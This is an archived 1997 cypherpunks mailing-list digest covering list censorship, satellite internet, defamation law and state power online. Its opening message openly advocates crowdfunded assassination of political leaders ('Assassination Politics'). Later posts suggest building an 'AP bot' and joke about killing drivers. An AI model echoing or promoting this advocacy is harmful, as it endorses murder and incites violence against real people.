>degenerate killers, and b) it could be proven that the accused were indeed 
>deserving of punishment.

Remember "power corrupts and absolute power corrupts absolutely"?  The 
problem with all existing political systems (and particularly those fallen 
ones from the past) is that they put power in the hands of people who 
subsequently abuse it, destroying the checks and balances that were put in 
place.  


>Humans being what they are, this hasn't worked like it's supposed to, but 
>the point is that there is a reason why such ideas for systems of justice 
>were introduced in the first place.   That reason, as I eloquently read in 
>a book, was "So That Reason May Live".  That is, so that people who choose 
>to live in a "society" may do so by the method of solving problems through 
>the application of intelligence, rather than merely knocking each other off 
>because a voting majority decides they don't like someone.

You misunderstand AP, yet again.  AP doesn't really take votes, it merely 
totals donations.  It is an essential element of the AP system that even a 
tiny minority should be able to kill individuals who are seen as threats, as 
long as this capability is universal.  True, the smaller the minority the 
more uneconomical such an action would be for them, but it would be well 
within the ability of 1% of the population to avoid a another Holocaust by 
getting rid of those pushing for it.

In the current political system, in the US for instance, 51% of the 
population is able to screw the remaining 49%, just as long as they can 
maintain the majority.  Or, perhaps even more accurately and ominously, a 
tiny fraction of the population (the current leadership class) is able to 
screw the 49%, as long as they have the un-thinking backing of the remaining 
and relatively uninvolved 51%.

AP disables this system.  AP turns government into the moral equivalent of a 
pick-up football game:  Nobody is being forced to play, and everybody and 
anybody can simply "get up and leave" whenever he wants to.  The moment the 
"rules of the game" to make an individual's continued participation 
unsatisfying, he can leave.

>Destructive people often ascend to positions of power not simply because 
>they are ruthless, but because they have 1) many sycophantic followers and 
>2) many ignorant, vulnerable people unable to prevent it.  You might be 
>able to kill off  one Saddam, but potentially many others would be waiting 
>in the wings to take his place. 

I don't think so.  Let's suppose you could purchase the death of Saddam for 
$5 million.  The next guy gets killed for another $5 million, and then the 
next, etc.  Who would want to be the next leader?  While $5 million dollars 
is certainly not pocket change for an individual, it is well within the 
capacity of the entire world to fund without any difficulty.   Anybody 
considering taking over Saddam's job, aware of such an easy system to kill 
him, would have no motivation to piss off the world.  Sooner or later, 
Saddam's place would have to be taken by a person who makes it absolutely 
clear to the rest of the world that he's no Saddam.  In fact, he'll point 
out that he would be foolish to take the job if he had ulterior motives.  
Unless you believe that it's physically impossible for Iraq to have an 
honest government (at which point you're displaying what I believe was 
called jingoism?) you'll acknowledge that their system would be fixed rapidly.

That's why AP will be so economical:  The absolute certainty that enough 
money could be raised to get rid of anyone who poses a threat will make it 
simply unnecessary to do so, the vast majority of the time.  It's called 
"deterrence," and is one of the reasons that 99.99% of the population 
doesn't rob banks, commit mass murder, or do any other anti-social things.  
Dictatorships will be impossible under AP because dictators simply won't be 
able to survive.  By being ready at all times to pay to have a dictator 
killed, society will never have any dictators.  Strange but true.


>The situation surrounding the existence 
>of someone like Saddam is part of the contributing factors which keeps him 
>there, not simply that one man himself.

Saddam is still in power because as long as the collective leadership of the 
countries of the world fear to set an example that will cost them their jobs 
and possibly their lives, they will gladly choose the $60 BILLION dollar 
"solution" to the Iraq problem, as opposed to my solution, AP, which would 
not only fix Iraq but every other country on the face of the globe.  That's 
why the leadership will never choose it.  The fact is, George Bush and his 
cronies kept Saddam in power by intentional acts, although he would never 
admit it.


  It was the same with Hitler and 
>with so many others  -  they don't just have an excess of  "power" 
>concentrated within themselves which puts them in positions of control over 
>others  - there will have been many people who will have helped put them 
>there, expecting to derive benefits from it.
>
>And what will be done about all those people who made this "power" 
>possible?  You don't just kill the one man and be done with it - you have 
>to also "kill" the conditions which maintained him.
>Blanc

I assert AP does this quite well.   AP makes it quite impossible to maintain 
a government which pisses off even a small fraction of the population.  
Anyone who feels abused in the citizen/government relationship will be able 
to opt out when he wants.  "Abused", by my definition, is getting less 
benefit out of the arrangement than that person wants in relation to the 
assets he put in.  

 "Governments" may still exist after AP, but in name only.  They will not 
have the ability to force taxation, and they will primarily be a way to 
coordinate volunteer action, and will be dramatically shrunk from today's 
behemoths.  

Such a government can't be corrupted:  To whatever extent that corruption 
makes that government a less-attractive as a project to an honest citizen, 
he will leave it and it will shrink, making it even less able to support 
that corruption.  



Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert Rothenburg 'Walking-Owl'" <WlkngOwl@unix.asb.com>
Date: Mon, 27 Jan 1997 19:55:53 -0800 (PST)
To: cypherpunks@toad.com
Subject: Infinite Improbability Drive?
Message-ID: <199701280416.XAA02142@unix.asb.com>
MIME-Version: 1.0
Content-Type: text/plain



Am I reading this correctly, or will the 'infinite improbability 
drive' be invented real soon now? (An odd coincidence after the Tesla 
thread too...)

--Rob

> Edupage, 26 January 1997.  Edupage, a summary of news about information
> technology, is provided three times a week as a service by Educom,
> a Washington, D.C.-based consortium of leading colleges and universities
> seeking to transform education through the use of information technology.

[..]

> COMPUTER IN A COFFEE CUP
> While a conventional computer stores its bits of information by assuming one
> of two possible states (a 1 or a 0), a quantum computer theoretically could
> store much more information by using all the potential states of anatom.
> Scientists are now proposing a new way to harness the power of quantum
> computing, using nuclear magnetic resonance devices to control the movement
> of millions of atoms within an evenly heated volume of material.  By
> coordinating the nuclear spin of the particles, physicists could make them
> act collectively as qubits (quantum bits).  A liquid with the rightthermal
> properties (such as coffee, which is known for its unusually evenheating
> characteristics) could hold up to 10 qubits, but scientists are still
> looking for ways to create a liquid computer that could hold up to 40 qubits
> -- perhaps out of "a really expensive cup of structured coffee," says a
> University of California, Santa Barbara researcher.  (Science News 18 Jan 97
> p37)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Tue, 28 Jan 1997 13:04:04 -0800 (PST)
To: Sandy Sandfort <sandfort@crl.com>
Subject: Re: Rejection policy of the Cypherpunks mailing list
Message-ID: <854471616.912211.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



> > ...That was the intended direction of the list, it 
> > has rapidly disentigrated over recent months into a censored list 
> > where the elite post to the main list and anyone else is nearly 
> > always relegated to a seperate list for the crypto-untermenshcen.
> 
> Again, nonsense.  The moderation experiment (moderation, not
> censorship) has been in effect for all of ONE WEEK.  Where does 
> Paul get this hysterical "recent months" stuff?  

The list has been disentigrating for some time since the disgusting 
incident when Dimitri was forcibly unsubscribed from the list. There 
have also been a number of postings from members of the list claiming 
to understand anarchism who support censorship to "protect new 
members of the list".

> > If you want to talk about intellectual dishonesty try the following:
> > 
> > Imagine if you will a list, the original purpose of which was
> > to act as a free and open forum for discussion of cryptography and 
> > related issues...
> 
> Paul's argument is the essence of literal conservativism,  "but 
> I don't things to change!"  Without change, though, there can be 
> no progress.  Moderation is a one-month experiment.  There is no
> intellectual dishonesty in saying, "let's try something else for
> a while."

So, there would be no intellectual dishonesty in a country claiming 
to be a free and open society "trying out" fascism for a month or 
two? - After all it`s a private country just as this is a private 
list....
 
> > Now imagine that list falling into a state of content based 
> > censorship and censorship based on an unspoken but ever present 
> > class structure,...
> 
> "Unspoken but ever present class structure"?  I wonder how Paul
> was able to divine this?  Certainly it is unspoken, but that, of 
> course, it because it does not exist anywhere but in Paul's
> fertile imagination.

There is a clear trend easily observable on the list whereby certain 
members postings are censored when their content is of a standard 
that, if the moderation were objective and based on content alone, 
would warrant their being sent to the censored list.

If anyone here archives all of the list postings or is willing to 
retrieve them from the archive we can run some statistical tests and 
comparisons in a few weeks once the sample is large enough, however, 
the list oberfuhrer and leutenant von Sandfort will claim the 
statistical correlation between poster reputation among the upper 
class of list members and the number of their posts let onto the 
moderated list is caused by persistent flamers so this will not 
convince them..

> > It is a foregone conclusion that the upper class of list members will 
> > have no dispute over the censorship and therefore the change will be 
> > permenant,...
> 
> Great!  I thought that hadn't been determined yet.  What a 
> relief.
 
I think you`ll find your poor attempt at making light of the 
situation does little to hide the fact that this censorship has 
finally confirmed that this is a private list and is no longer meant 
to be a free, anarchic discussion forum.

I can tell you one other thing for sure, even if the moderation 
"experiment" were to end in a month as a last ditch attempt by John 
Gilmore and Sandy Sandfort to recover some of their lost credibility 
it would be a vain and entirely unsuccesful attempt.


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Tue, 28 Jan 1997 13:02:39 -0800 (PST)
To: Kevin L Prigge <Kevin.L.Prigge-2@tc.umn.edu>
Subject: Re: Rejection policy of the Cypherpunks mailing list
Message-ID: <854471618.912223.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



> > It is a foregone conclusion that the upper class of list members will 
> > have no dispute over the censorship and therefore the change will be 
> > permenant, it is a form of online ethnic cleansing whereby the lists 
> > clique of illuminati have taken it upon themselves to remove the 
> > elements of the list they feel endanger their position of superiority 
> > and respect, the point they have missed is that they have no 
> > credibility whatsoever after this incident, as well as a number of 
> > other such occurances and therefore are only isolating themselves 
> > into their own little world.
> 
> The Big Lie once again. yadda yadda yadda "Censorship!" yadda yadda
> yadda "No Credibility" yadda yadda yadda ad nauseum.

Blah Blah "Free speech advocates", Blah Blah "Foaming at the mouth 
anarchists"....

> > "cypherpunks will make the networks safe for censorship"
> 
> "Idiots will make the networks require censorship"

"Fascists will reply to posts with weak arguments" 


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Tue, 28 Jan 1997 13:05:24 -0800 (PST)
To: ichudov@algebra.com
Subject: Re: Rejection policy of the Cypherpunks mailing list
Message-ID: <854471619.912219.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



 
> > The exercise reveals to me that only by ignoring the first paragraph
> > of your example, the part that reads "Imagine if you will a list, 
> > the original purpose of which was to act as a free and open forum 
> > for discussion of cryptography and related issues." can you make
> > a claim of content based censorship. The purpose of this list was

Maybe this was misleading, that was indeed a purpose of the list but 
it was also supposed to be a free and anarchic list where people were 
not prevented from posting whatever they want.

Even if it were the case that we accepted content based censorship 
that is no defence of the obvious class system that is in place 
whereby certain posters are automatically sent straight to the 
moderated list and others are censored regardless of the content of 
their posts.

 

  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Mon, 27 Jan 1997 23:05:00 -0800 (PST)
To: Kevin L Prigge <Kevin.L.Prigge-2@tc.umn.edu>
Subject: Re: Rejection policy of the Cypherpunks mailing list
In-Reply-To: <32ecee29303e002@noc.tc.umn.edu>
Message-ID: <32EDA4EB.604D@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Kevin L Prigge wrote:
> paul@fatmans.demon.co.uk said:

> > "cypherpunks will make the networks safe for censorship"

> "Idiots will make the networks require censorship"

The line above this one says it all, doesn't it?  If I judge you to
be "an idiot", then, if I also have the power to shut you up, I can
not only shut off your "noise" from me, but also prevent anyone else
from hearing you as well.  That's the real beauty of censorship -
if I have the power, I can make you a non-person by preventing most
people from hearing you at all.  Oh, lovely, isn't it?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Mon, 27 Jan 1997 23:25:49 -0800 (PST)
To: Nurdane Oksas <oksas@asimov.montclair.edu>
Subject: Re: overview.htm (fwd)
In-Reply-To: <Pine.SOL.3.93.970127191020.15519B-100000@pegasus.montclair.edu>
Message-ID: <32EDA9B3.6FA0@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Nurdane Oksas wrote:
> On Mon, 27 Jan 1997, Dale Thorn wrote:
> > Nurdane Oksas wrote:
> > > On Sun, 26 Jan 1997, Igor Chudov @ home wrote:
> > > > Nurdane Oksas wrote:
> > > > > California is know for very beautiful girls ...

> seems, Americans like their own women , which is all they
> have seen maybe...

> > Anywhere else and it's no different from Cleveland or Pittsburgh.

> Well, can you say you've been 'anywhere else'?

Lived all over So. Cal. for 12 years, 4 years in SE Tenn., close to
Atlanta.  Atlanta has some nice babes, warm weather.  I fell totally
in love with a girl from Chattanooga, who was probably the best college
radio D.J. who ever lived.  Lived in Charleston for a short while.
Much smaller than Atlanta.  Very cozy.  Spent a lot of time in
Cleveland, Pittsburgh, Detroit. The best babes there are usually the
Chrissy Hynde (Akron) types.  Spent 2-1/2 years in Southern Germany.
Very, very nice.  Loved Berchtesgaden (sp?).  Interestingly enough,
I have a fondness for English girls.  Must be the ancestry thing.
I'd really like to talk to some Welsh girls - my mum's grandparents
came to the U.S. from there.  What about you?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Mon, 27 Jan 1997 23:48:43 -0800 (PST)
To: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Subject: Re: Fighting the cybercensor
In-Reply-To: <199701280301.TAA14685@toad.com>
Message-ID: <32EDAF27.727B@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Phillip M. Hallam-Baker wrote:
> Dale Thorn <dthorn@gte.net> wrote in article
> > blanc wrote:
> > > From:   Dr.Dimitri Vulis

This [below] is one of the most remarkable posts I've ever seen....

> > > However U.S.G. is able to say that people of Iraq or Lybia or Cuba
> > > should not be permitted on the 'net. It also bombs Iraq and murders
> > > their civilians in retaliation for something their governments
> > > supposedly did.

> > > The U.S.G. has many more resources than most of us to do these things,
> > > including equipment, cooperative troops, money, and recognition from
> > > other governments.   If other nations disagree with the U.S.G. they
> > > have the resources to discuss, bargain, negotiate, criticize, form
> > > alliances, take their chances and retaliate, etc.

> > I wish this were true, at least of nations which would be friendly
> > to someone like me (white, Western, etc.).  A bully on a school
> > playground can always be knocked down, no matter how big or how
> > vicious he is.  Sadly, the U.S. bully cannot be knocked down.  Bad
> > enough you get nuclear, chemical, and/or biological stuff waved at
> > you - if you get into a hot war like Desert Storm, your country is
> > carpet-bombed with fleets of B-52's until it is thoroughly debilitated.

> Actually the US is being remarkably ineffective in keeping
> Cuba etc off the Net. If you don't believe me just try
> the cuban home page. We had a Web server running in Sarajevo
> during the siege back in '93. There is no way that the US govt.
> can hope to control the Internet any more than it can control the
> phone system. What is astonishing is that the Cuban authorities are
> so keen to import a technology that breaks down their propaganda.

This *is* amazing.  The cuban govt. is *eager* (keen) to subvert
their own propaganda.

> The Cold War was not won by the arms race, it was won in
> Eastern Europe which was never a major participant. The main
> instrument that won it was West German TV which broadcast
> pictures of supermarkets with full shelves into the homes
> of East Germans every night. The viewers could see that it
> was not mere propaganda and their relatives confirmed the
> fact. As a result the East German guards on the Berlin wall
> simply decided to leave their posts one night.

That's it?  The system collapsed because the guards left their posts?
And no mutiny charges?  Incredible.

> The East Germans couldn't stop the TV signals either. When
> Dresden started to become a ghost town because people wanted
> to move to a town which could recieve the broadcasts the
> East Germans ended up installing their own relay to keep
> the locals happy.

People left their own home towns just so they could watch TV?  I
know a lot of Americans who'd like to leave their towns to get away
from TV, permanently.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Mon, 27 Jan 1997 21:01:40 -0800 (PST)
To: cypherpunks@toad.com
Subject: Panamsat Offers Internet By Satellite
Message-ID: <v03007801af1336f31f58@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Sender: investor@LunaCity.com
To: "Space Investors Mailing List" <space-investors@LunaCity.com>
From: Michael_Wallis@sec.sel.sony.com
Reply-To: "Space Investors Mailing List" <space-investors@LunaCity.com>
Date: Mon, 27 Jan 1997 20:00:33 -0800
Organization: LunaCity BBS - (Clan Zen Relay Network) Mountain View, CA
Subject: Panamsat Offers Internet By Satellite
X-Mailserver: Waffle File Server (WFS), Release 3.2.ag
X-Article: 267

>From Space News Daily News Note -- 1/27/97

Panamsat Corp. of Greenwich, Conn. is now offering high-speed Internet
access by satellite.

The new service, called Spotbytes, is available worldwide to Internet
service providers.

It provides a quick connection to the Internet by avoiding terrestrial
lines and linking companies directly to backbone providers -- companies
with a main line to the Internet.

        Michael

-------------------------------------------------------------------------
Michael Wallis, Computer Consultant     Work: mwallis@sec.sel.sony.com
http: //www.wallis.com/                 Home: mwallis@wallis.com

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"The cost of anything is the foregone alternative" -- Walter Johnson
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/
"If *you* don't go to FC97, *I* don't go to FC97"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 28 Jan 1997 00:13:59 -0800 (PST)
To: Igor Chudov <ichudov@algebra.com>
Subject: Re: Rejection policy of the Cypherpunks mailing list
In-Reply-To: <199701280717.BAA16135@manifold.algebra.com>
Message-ID: <32EDB51D.31DF@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> Dale Thorn wrote:
> > Kevin L Prigge wrote:
> > > paul@fatmans.demon.co.uk said:

> > > > "cypherpunks will make the networks safe for censorship"

> > > "Idiots will make the networks require censorship"

> > The line above this one says it all, doesn't it?  If I judge you to
> > be "an idiot", then, if I also have the power to shut you up, I can
> > not only shut off your "noise" from me, but also prevent anyone else
> > from hearing you as well.  That's the real beauty of censorship -
> > if I have the power, I can make you a non-person by preventing most
> > people from hearing you at all.  Oh, lovely, isn't it?

> Don't you like power, Dale?

I have a great deal of respect for power.  When I was 6, I unwound a
coat hanger and put both ends into an electrical outlet.  All I
remember from that is something like a sledgehammer hitting me, and
I went backwards rather quickly.  And I never did it again.

But seriously, I was just telling the folks over the weekend, if I
had my hand on the button, a lot of people would die very quickly.
As in The Day The Earth Stood Still, a single act of aggression would
suffice to be immediately terminated.  The best place to begin, in
the USA at least, would be the public freeways.  There you have the
most acts of aggression in a short space, and the best pickings for
liquidation.  Give me the power, and I'll show you all those nifty
techno-ways of eliminating people that have been kept from the public
by our benevolent government ("sources and methods").

BTW, I don't give a damn about someone "cutting me off", since I'm
not aggressive enough (outside of my liquidation duties) to be bothered
by that in most cases.  I'm primarily concerned with vehicles who get
too close behind, who pass with no safety margin, etc.  I call these
people anal-compulsive (as opposed to anal-retentive).  You've seen
the videos on PBS, the various animal species whose male members
perform occasional "mounting" of others to intimidate.  There are a
large percentage of humans who try to do the same thing, demonstrating
that they (IMO) have no further need of their lives.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 27 Jan 1997 23:49:37 -0800 (PST)
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: Toto's database
In-Reply-To: <3.0.32.19970126025513.006ba14c@ricochet.net>
Message-ID: <32EDB7D6.5F52@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Greg Broiles wrote:
> An interesting assertion. Is your database available for others to draw
> their own conclusions from? 

  As a matter of fact, it is. It consists of the cypherpunks unedited
and
flames list.

> I'd appreciate seeing at least a first-level abstraction of the data

 Given the well-developed and ratiionally strong questions you asked in
your post, I am afraid that you would find my abstractions of data
rather rudimentary, at best.
  I keep a separate directory of CypherSpam, for my own purposes, and I 
merely popped the moderation-related criticisms into another directory
and made some direct comparisons. I used my computer-brain to draw my
conclusions from, which I suppose might raise the issue of personal
bias and/or competent technology. (I regard my brain as a Pentium, but
there are others who aver that it can more closely be compared to the
digital circuitry on their office coffee-machine)

> Of course, correlation alone doesn't tell us much. If it really exists, it
> suggests that the two phenomena observed are related in some way, but it
> doesn't tell us the nature or the cause of the relationship.

  That is why the world has need of spin-doctors, conspiracy theorists 
and data-analysts.

> Another explanation would be that a moderation opponent is sending the
> spams as a way to punish the proponents of moderation.

  This is an illogical conclusion, since the proponents of moderation 
receive the censored list, and therefore do not receive the UCE/Spams.
  On the other hand, the UCE/Spams are passed along to the other lists,
despite the fact that not a single member of the list has indicated 
any desire to receive them. The fact that John and Sandy have shown
absolutely no concern for 'protecting' the list members from UCE/Spam 
until their forced censoring of 'undesirable' list members indicates 
that the 'punishment' you mention applies only to those who oppose
the censorship of list members.
 
> I think this is especially true given the relatively inexact nature of the
> "spam" weapon

  Unfortunately, the 'spam weapon' is an extremely exact science in the
hands of those familiar with remailer systems and bots.  Also, some of
the spams appear to originate from toad.com itself, as opposed to coming
from outside sources.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Mon, 27 Jan 1997 23:06:58 -0800 (PST)
To: jimbell@pacifier.com (jim bell)
Subject: Re: Fighting the cybercensor
In-Reply-To: <199701280647.WAA10602@mail.pacifier.com>
Message-ID: <199701280703.BAA15931@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


jim bell wrote:
> 
> At 10:21 PM 1/26/97 -0800, blanc wrote:
> >From:	jim bell (in response to Dimitri Vulis')
> >Look, I've proposed what I consider to be a remarkably consistent method to 
> >prevent the kind of political tyranny that you criticize, and I don't see
> >any recognition of this fact.
> >........................................................
> >
> >1) Jim, why do you insist on discussing this on an forum for encryption?
> 
> Because it's on-topic, that's why.  Because it's not merely a list 
> concerning METHODS of encryption, it's also about the _reasons_ for using 
> encryption, as well as the _effects_ (both small-scale and large-scale) of 
> using encryption.  

Actually AP is one of the more interesting topics here. I think that there
is a clear need for an AP bot.

Do you feel like writing it?

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Mon, 27 Jan 1997 23:22:50 -0800 (PST)
To: dthorn@gte.net
Subject: Re: Rejection policy of the Cypherpunks mailing list
In-Reply-To: <32EDA4EB.604D@gte.net>
Message-ID: <199701280717.BAA16135@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dale Thorn wrote:
> 
> Kevin L Prigge wrote:
> > paul@fatmans.demon.co.uk said:
> 
> > > "cypherpunks will make the networks safe for censorship"
> 
> > "Idiots will make the networks require censorship"
> 
> The line above this one says it all, doesn't it?  If I judge you to
> be "an idiot", then, if I also have the power to shut you up, I can
> not only shut off your "noise" from me, but also prevent anyone else
> from hearing you as well.  That's the real beauty of censorship -
> if I have the power, I can make you a non-person by preventing most
> people from hearing you at all.  Oh, lovely, isn't it?
> 

Don't you like power, Dale?

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Tue, 28 Jan 1997 01:37:04 -0800 (PST)
To: Jim Choate <ravage@EINSTEIN.ssz.com>
Subject: Re: Libel/slander & crypto relevancy
Message-ID: <3.0.32.19970128012643.006ea2c8@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain


At 08:50 PM 2/27/97 -0600, Jim Choate wrote:

>I predict that within the next five years these
>slander/libel laws will be used by some organization to prosecute defamation
>of their Internet presence (eg web page graffitti). Within 10 years this
>area will be one of the hotest areas of the new communications law.

Civil actions against people doing "graffiti" are only interesting where
the defendant has assets worth suing for. This economic dimension
substantially limits the number of suits which will be brought.

Corporate plaintiffs, if they chose to bring suit, would in many cases
prefer to sue in federal court. (Federal juries tend to be more
conservative and hence pro-corporate; they're also more likely to be
friendly to an out-of-town corporation suing a local individual). To sue in
federal court, the plaintiff needs to find a federal question or diversity
jurisdiction. Other causes of action (like copyright infringement,
trademark dilution, or false designation of origin) would provide a federal
question and hence federal jurisdiction.  

Criminal prosecutions for defamation (in the case of "graffiti") are still
unlikely - a much more straightforward charge would be unauthorized access
to a computer or some flavor of fraud, depending on the facts. Confusion
aids defendants, so I predict prosecutors will avoid defamation law (and
its tar pits of actual malice and the defense of truth) when they are able
to do so and still have a reasonable chance of conviction.

>If they don't
>understand the technology (eg forwarding private email to publicly
>accessible lists by accident) how in the world are they going to understand
>what is best, let along convince anyone else?

There's a world of difference between understanding technology and screwing
up once in awhile. Perhaps you've never screwed anything up (although your
summary of US defamation law ought to count), but the rest of us do, from
time to time. Were I involved in computer-related litigation, I'd choose an
attorney who could talk to a jury over an attorney who was good with
computers, hands down. Not even a question. And I'd pick an attorney who
owned up to making mistakes sometimes over someone who  imagined him or
herself somehow superior to people who fuck up now and then. 

>It has been proposed by at least one party that a district attorney or other
>public prosecutor would not act on such events. This is also naive.

I was that "party", and I guess that in trying to be civil I was actually
unclear. If you were a politically important person or organization, and if
Toto's message had caused you real damage, and if Toto were reasonably
available to prosecute, a prosecutor might get interested. But you're not
important, Toto would be difficult to extradite, and you weren't harmed. So
you picked a crappy example to make your point(s) with. Change the facts,
and you'll get a different answer. Duh.

>The
>ramifications for their political opponents to use this 'insensitive and
>clearly self-interested' refusal to act as a perfect example of how that
>prosecutor is interested in their own political career and not in the
>interest of the people they are charged with protecting as well as a good
>demonstration of their technological ignorance. It would be very difficult
>to get re-elected in such an environment.

Yeah, I'll bet that your local prosecutor's failure to prosecute Toto is
going to cost them dearly in the next election.

You picked a hypothetical which did a poor job of illustrating the points
you're making in this later message. Do you want to talk about whether or
not Toto is criminally liable for making fun of you while making a point
about ownership of networks and its relationship to freedom of speech, or
do you want to talk about the more general case of liability for
misattribution? If it's the latter, yes, there are some issues there, but I
still think that defamation law is a poor way to address them. You seem to
be having an "I've got a hammer, everything looks like a nail" problem. 

And all of this seems a bit contrived if the real crypto-relevant point is
"use digital signatures to avoid misattribution". 

>All that I ask is that instead of jumping the gun and saying 'it ain't so'
>you simply consider the ramifications from 'their' perspective. It truly is
>amazing what one can learn by walking a mile in another mans shoes. For if
>there is one truth to be learned it is that this discussion is not about how
>it is, but rather how it will be and how it should be.

Despite your closing, I haven't seen you write anything about "how it
should be", beyond the idea that people should learn more about digital
signatures. You've forwarded lots of information from other people's web
pages about defamation liability in different jurisdictions, but no
discussion about why the rules we've got now are good ones (or bad ones).
Other commentators have suggested that defamation law is obsolete (Tim May)
or should be reconsidered in light of a victim's ability (via the net) to
reply to a defamer (Mike Godwin). Do you have a proposal along these lines? 

Your message suggests to me that you're very pro-plaintiff with respect to
defamation (at least when you're the plaintiff), but you haven't explained
why other people should adopt your perspective. You did suggest that juries
are also likely to think it's in their best interests to find for
plaintiffs (because they might find themselves in similar circumstances
someday); but it's unclear to me why that reasoning wouldn't make them
equally likely to side with defendants (because they might be wrongfully
accused of doing something bad), or why your logic wouldn't apply to every
case, not just defamation cases. 

And, for what it's worth, juries aren't supposed to consider "what is in
our best interest" either as individuals nor as a community, nor is that a
legitimate topic for argument to the jury with respect to questions about
liability or guilt.


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@replay.com (Name Withheld by Request)
Date: Mon, 27 Jan 1997 16:47:11 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Reuters article: "Unstoppable Internet will defy controls"
In-Reply-To: <Pine.GSO.3.95.970120151123.23877M-100000@well.com>
Message-ID: <199701280036.BAA06228@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


>More broadly, modern governments rely on their ability to control
>information and money to maintain control over their citizens.

>But does the Net mean we no longer need government in its present form? 

The German law professor Alexander Rossnagel has published an article
titled "Globale Datennetze: Ohnmacht des Staates - Selbstschutz der
Buerger" (global networks: state's impotence, citizens'
self-protection) in Zeitschrift fuer Rechtspolitik 1997, p. 26 ff.

He describes that decentral networks are difficult to control, and
anonymizers, encryption and steganography can be used to defy
surveillance.  "[The state] can neither enforce matters of public
interest, nor offer protection to its citizens", including protection
of privacy and legally protected secrets.  The state cannot
effectively face law violations: "If it somewhere suppresses
information, it will be 'mirrored' by many other servers world-wide.
If it blocks communication lines, the message will find a way around.
Sattelite transmission also renders the question of location almost
irrelevant.  Theresa Orlowski was denied a license for her porn
channel here.  Now she is broadcasting from Britain.  In cyberspace,
functions of social relevance, such as protection of minors, can no
longer be fulfilled by the state.  They are transferred to the parents
exclusively."

"The state can only interevene where the immaterial world of the
network touches the physical world: It can arrest criminals, seize
devices and data storage, when these physically are in its control.
It can enforce adherance to its laws where it physically can exersize
its power.  But in the incorporeal world of the network, to a large
extend it is powerless.  All these examples indicate a new fact: The
networks constitute a new incorporeal social space.  Increasingly more
social contacts, economic and legal exchanges are being transferred to
it.  In it, conditions are different from in the social relationships
of the physical world.  In this new world, the state has no means of
coercion, no monopoly of power, and no sovereignty."

"Law to be enforced requires power.  The democratic constitutional
state depends on sovereignty and obediency to laws.  Only with these
it can universally enforce democratic decisions and protect the
citizens' basic rights from violations by third parties.  To guarantee
this is the fundamental reason for the modern state to exist.  Its
protective mission continues to apply.  However, it has expanded with
the civilisatoric development.  With Hobbes, the focus was on the
procetion of life and limb, with Locke the protection of freedom and
property were added, and in this century, facing new threats, the
protection of privacy.  [... The states'] sovereignty is based on the
authority to exclusively exercise physical power in [their territory].
This sovereignty has limits in the immaterial space of global
networks.  But when the citizen no longer receives the state's
protection in the special sphere of the networks and the state can no
more enforce matters of public interest there, then its basic
legitimation in so far is in danger.  According to Thomas Hobbes, 'the
citizen's obligation to the sovereign can ... only last as long as he
is capable of protecting the citizens'."  But that would also endanger
